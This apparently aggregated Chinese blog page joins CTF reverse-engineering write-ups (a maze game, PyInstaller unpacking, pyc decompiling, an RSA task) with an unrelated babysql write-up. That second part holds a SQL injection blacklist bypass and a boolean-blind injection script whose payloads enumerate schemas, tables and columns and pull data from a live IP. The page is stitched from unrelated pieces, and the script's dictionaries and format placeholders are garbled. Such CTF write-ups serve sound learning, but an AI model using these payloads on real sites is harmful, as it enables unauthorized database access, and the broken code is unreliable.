NSSCTF逆向2023题目《doublegame》《fake_game》《easy_pyc》《For Aiur》

Posted Corax0o0

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NSSCTF逆向2023题目《doublegame》《fake_game》《easy_pyc》《For Aiur》相关的知识,希望对你有一定的参考价值。

总览

doublegame 迷宫 游戏程序逆向
fake_game exe解包 pyc反编译
easy_pyc pyc反编译 rsa解密
For aiur exe解包 pyc反编译 Anaconda pycdc

题目doublegame

解法

感觉还是蛮抽象的一题
打开看看

是一个贪吃蛇,也不懂啥直接放进ida看看

有很多函数,不想一个个看了,直接看string

感觉有很多有用的信息,题目信息又说是doublegame所以应该还有一个游戏,看红框的内容应该是这个迷宫了,点进去通过交叉引用看看


ok就是一个迷宫,上面的图也说了flag跟路径有关,我们就解解看
dddssssddwwwwddssddwwwwwwddddssa
就是这一串,取md5值然后加上score就可以了,score是什么呢?
这个迷宫应该是没啥分数讲的,要么就是贪吃蛇的分数。想着可以通过伪代码看看怎么调用第二个游戏的。

不同地查看交叉引用,最后发现在这个地方是判断是否调用第二个游戏的。那这个score很有可能是这个c
于是NSSflag0d9eb6b95c042f6649fb9d4ab062972e13371337很可惜不对,不解到底是path有问题还是这个score有问题呢?
查看了别人的flag,原来在调用第二个游戏的时候达到*后还有这样的提示

还要带出去,所以我的path是有问题的
所以正确的flag就是NSSCTF811173b05afff098b4e0757962127eac13371337


其实这道题估计附件下载下来可能是有啥问题

这个地方其实还缺了0,也就是墙。

题目fake_game

解法

这道题是给了一个exe游戏,植物大战僵尸,玩了十多分钟没给flag做题
反编译它出来一坨屎,看都看不懂。无奈只能看别人的wp,但也学到了很多新知识。
这个exe文件是py文件打包的,所以我们要做的就是先通过一个软件叫做pyinstxtractor.py。然后和exe放在一个文件夹下,然后在文件目录打开

在extracted打开就有了一个pyc文件,依旧是熟悉的uncompyle6

出来了一个py文件


经过如图的处理就可以得到flag。下面那个是四元一次方程组,计算器算

然后编写脚本


奇奇怪怪,上网看一下。他们的这个最后一个是2361,而我自己验算的时候发现如果代入1则会出现小数位的5。不太明白。
flag NSSTFG0Od_pl2y3r_f0r_Pvz!!

题目easy_pyc

解法

这道题没有以前做的pyc那么恶心,没有混淆。
首先还是熟悉的反编译成py。

然后打开

很显然这是一个rsa的解密题。
找找脚本
看到一个师傅的blog我觉得在rsa这方面讲的很详细
https://blog.csdn.net/qq_45521281/article/details/114706622
然后编写脚本


出flag

题目For Aiur

解法

这题也是我litctf上的题目,但是我也没做出来,看了别的师傅的wp找了些灵感
这道题跟上面那题是同种类型,都是exe解包pyc反编译py的逆向
所以同样还是上pyinstxtractor.py,但是这题解包还是反编译的时候出现了问题了,可能是出题人使得坏,这道题得要用py38版本进行解包,要不然会缺少关键文件。
在解决的道路上又收获了新软件。其中一个就是Anaconda,在这个程序当中可以切换不同的py环境,免去疯狂切换path的尴尬。用法在这
https://blog.csdn.net/tqlisno1/article/details/108908775?spm=1001.2014.3001.5506
而后成功进行了到pyc的解包,接下里就是反编译了。
但是不知道为什么我的uncompyle好像犯病了,tmd一直报错,于是我去看了一下别人的方案,这里又有另外一个新软件pycdc,也是一个pyc到py的反编译软件。用法在地址
https://blog.csdn.net/qq_63585949/article/details/127080253
注意在使用的时候最好使用powshell管理员模式,要不然也会有莫名其妙的报错。
于是乎,成功地反编译了
打开看看

也是一个很长的代码,但是通篇不见flag,但在文件头获取了线索,这里引用了ch文件,这个文件在

同样的反编译可以看到

这里的逻辑就很简单了,就是找一个num满足判断条件,转成str之后进行运算。于是编写脚本

获得flag

[NSSCTF 2022 Spring Recruit]babysql

https://www.ctfer.vip/problem/2075


根据输入框的提示传入tarnish返回如下


简单测试下发现黑名单:hacker!!black_list is /if|and|\\s|#|--/i

把注释符号都过滤了,可以使用闭合的方法构造注入,空格使用/**/绕过

这里采用同或(!=!)来构造注入

同或 !=! 的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1
mysql> select 1 !=! 0 !=! 1;
+---------------+
| 1 !=! 0 !=! 1 |
+---------------+
|             0 |
+---------------+
1 row in set (0.01 sec)

mysql> select 1 !=! 1 !=! 1;
+---------------+
| 1 !=! 1 !=! 1 |
+---------------+
|             1 |
+---------------+
1 row in set (0.00 sec)

mysql> select * from users where uid=1;
+-----+----------+----------+
| uid | username | password |
+-----+----------+----------+
|   1 | admin    | admin    |
+-----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where uid=1 !=! 0 !=! 1;
+-----+---------------+----------------------------------+
| uid | username      | password                         |
+-----+---------------+----------------------------------+
|   2 | mochu7        | mochu7                           |
|   3 | flag          | flagThe_Sql_F14g_0f_mochu7     |
|   0 | Administrator | 874a0300d72a3676c4413ce52454eff7 |
|   4 | testuser      | 123456                           |
+-----+---------------+----------------------------------+
4 rows in set (0.00 sec)

mysql> select * from users where uid=1 !=! 1 !=! 1;
+-----+----------+----------+
| uid | username | password |
+-----+----------+----------+
|   1 | admin    | admin    |
+-----+----------+----------+
1 row in set (0.00 sec)
username=tarnish'!=!(1)!=!'1  (True !=! True !=! True) == True
username=tarnish'!=!(0)!=!'1  (True !=! False !=! True) == False



布尔盲注,脚本跑

import requests

asc_str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`|~'
burp0_url = "http://1.14.71.254:28085/"
burp0_headers = "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0", 
				 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 
				 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 
				 "Accept-Encoding": "gzip, deflate", 
				 "Content-Type": "application/x-www-form-urlencoded"
				 
content = ''
for i in range(1, 100):
	for s in asc_str:
		# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),,1))=)/**/!=!/**/'1".format(i, ord(s))
		# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test'),,1))=)/**/!=!/**/'1".format(i, ord(s))
		# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),,1))=)/**/!=!/**/'1".format(i, ord(s))
		payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(flag)/**/from/**/test.flag),,1))=)/**/!=!/**/'1".format(i, ord(s))	
		burp0_data = "username": payload
		resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
		if 'string(39)' in resp.text:
			content += s
			print(content)

最笨的办法,比较慢,需要多等一会,追求效率可以使用二分法。

以上是关于NSSCTF逆向2023题目《doublegame》《fake_game》《easy_pyc》《For Aiur》的主要内容,如果未能解决你的问题,请参考以下文章

NSSCTF逆向2023题目《程序和人有一个能跑就行了》《encode》

NSSCTF逆向2023题目《easy_re》《世界上最棒的程序员》《Check_Your_Luck》《Tea》

[NSSCTF 2022 Spring Recruit]babysql

[NSSCTF 2022 Spring Recruit]babysql

RC4加密及逆向对应题目

2022年中职网络安全逆向题目整理合集